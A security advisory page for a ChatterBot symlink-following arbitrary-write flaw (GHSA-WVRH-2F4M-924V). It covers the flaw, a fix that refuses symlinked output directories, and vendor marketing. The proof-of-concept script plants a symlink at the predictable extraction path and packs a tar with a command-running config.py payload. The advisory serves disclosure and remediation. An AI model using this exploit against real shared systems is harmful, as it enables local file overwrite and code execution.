Summary
ChatterBot: Symlink-Following Arbitrary Write via UbuntuCorpusTrainer
ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.
The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself, it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.
Vulnerability Details
Predictable output directory (line 535-546)
home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
'ubuntu_corpus_data_directory',
os.path.join(home_directory, 'ubuntu_data') # ~/ubuntu_data, predictable
)
self.data_path = os.path.join(
self.data_directory, 'ubuntu_dialogs' # ~/ubuntu_data/ubuntu_dialogs
)
Check-then-create (line 621-622)
def extract(self, file_path: str):
if not os.path.exists(self.data_path): # ← follows symlink → True → skips makedirs
os.makedirs(self.data_path) # ← never reached if symlink exists
Extraction through symlink (line 633-644)
def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
for member in tar.getmembers():
member_path = os.path.join(path, member.name)
if not is_within_directory(path, member_path): # ← validates MEMBER names only
raise Exception('Attempted Path Traversal in Tar File')
tar.extractall(path, members, numeric_owner=numeric_owner) # ← path is symlink → writes to target
safe_extract(tar, path=self.data_path, ...) # self.data_path = symlink → attacker dir
safe_extract calls os.path.abspath(directory) on self.data_path, this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.
Proof of Concept
Environment
| Component | Detail |
|---|---|
| chatterbot | 1.2.13 (pip install) |
| Python | 3.11.0 |
Exploit
import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch
from chatterbot.trainers import UbuntuCorpusTrainer
ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))
def main():
test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
data_dir = test_base / "ubuntu_data"
data_path = data_dir / "ubuntu_dialogs"
data_dir.mkdir(parents=True, exist_ok=True)
os.symlink(str(ATTACKER_TARGET), str(data_path))
print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
exists_check = os.path.exists(data_path)
print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
import tarfile
import io
tar_path = test_base / "corpus.tar.gz"
with tarfile.open(str(tar_path), "w:gz") as tf:
info = tarfile.TarInfo(name="dialog_001.tsv")
payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
info.size = len(payload)
tf.addfile(info, io.BytesIO(payload))
info2 = tarfile.TarInfo(name="config.py")
rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
info2.size = len(rce)
tf.addfile(info2, io.BytesIO(rce))
if not os.path.exists(data_path):
os.makedirs(data_path)
def is_within_directory(directory, target):
abs_directory = os.path.abspath(directory)
abs_target = os.path.abspath(target)
prefix = os.path.commonprefix([abs_directory, abs_target])
return prefix == abs_directory
with tarfile.open(str(tar_path), "r:gz") as tar:
for member in tar.getmembers():
member_path = os.path.join(str(data_path), member.name)
if not is_within_directory(str(data_path), member_path):
raise Exception("Attempted Path Traversal in Tar File")
tar.extractall(str(data_path))
print(f"[3] extractall(data_path), data_path is symlink, writes to target")
# Verify
files = list(ATTACKER_TARGET.iterdir())
if files:
print(f"\n[+] EXPLOIT SUCCESSFUL, {len(files)} files in attacker directory:")
for f in sorted(files):
print(f" {f.name}: {f.read_text().strip()[:60]}")
else:
print("[-] Failed")
shutil.rmtree(str(test_base), ignore_errors=True)
shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
sys.exit(1)
shutil.rmtree(str(test_base), ignore_errors=True)
shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
sys.exit(0)
if __name__ == "__main__":
print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
print(f"Attacker target: {ATTACKER_TARGET}")
print()
main()
PoC output
Impact
GHSA-WVRH-2F4M-924V has a CVSS score of 5.5 (Medium). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.2.14); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Refuse symlinks on the output directory before extraction:
def extract(self, file_path: str):
if os.path.islink(self.data_path):
raise self.TrainerInitializationException(
f'Refusing to extract to symlink: {self.data_path}')
if not os.path.exists(self.data_path):
os.makedirs(self.data_path)
...
Frequently Asked Questions
- What is GHSA-WVRH-2F4M-924V? GHSA-WVRH-2F4M-924V is a medium-severity security vulnerability in ChatterBot (pip), affecting versions <= 1.2.13. It is fixed in 1.2.14.
- How severe is GHSA-WVRH-2F4M-924V? GHSA-WVRH-2F4M-924V has a CVSS score of 5.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of ChatterBot are affected by GHSA-WVRH-2F4M-924V? ChatterBot (pip) versions <= 1.2.13 is affected.
- Is there a fix for GHSA-WVRH-2F4M-924V? Yes. GHSA-WVRH-2F4M-924V is fixed in 1.2.14. Upgrade to this version or later.
- Is GHSA-WVRH-2F4M-924V exploitable, and should I be worried? Whether GHSA-WVRH-2F4M-924V is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-WVRH-2F4M-924V is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-WVRH-2F4M-924V? Upgrade
ChatterBotto 1.2.14 or later.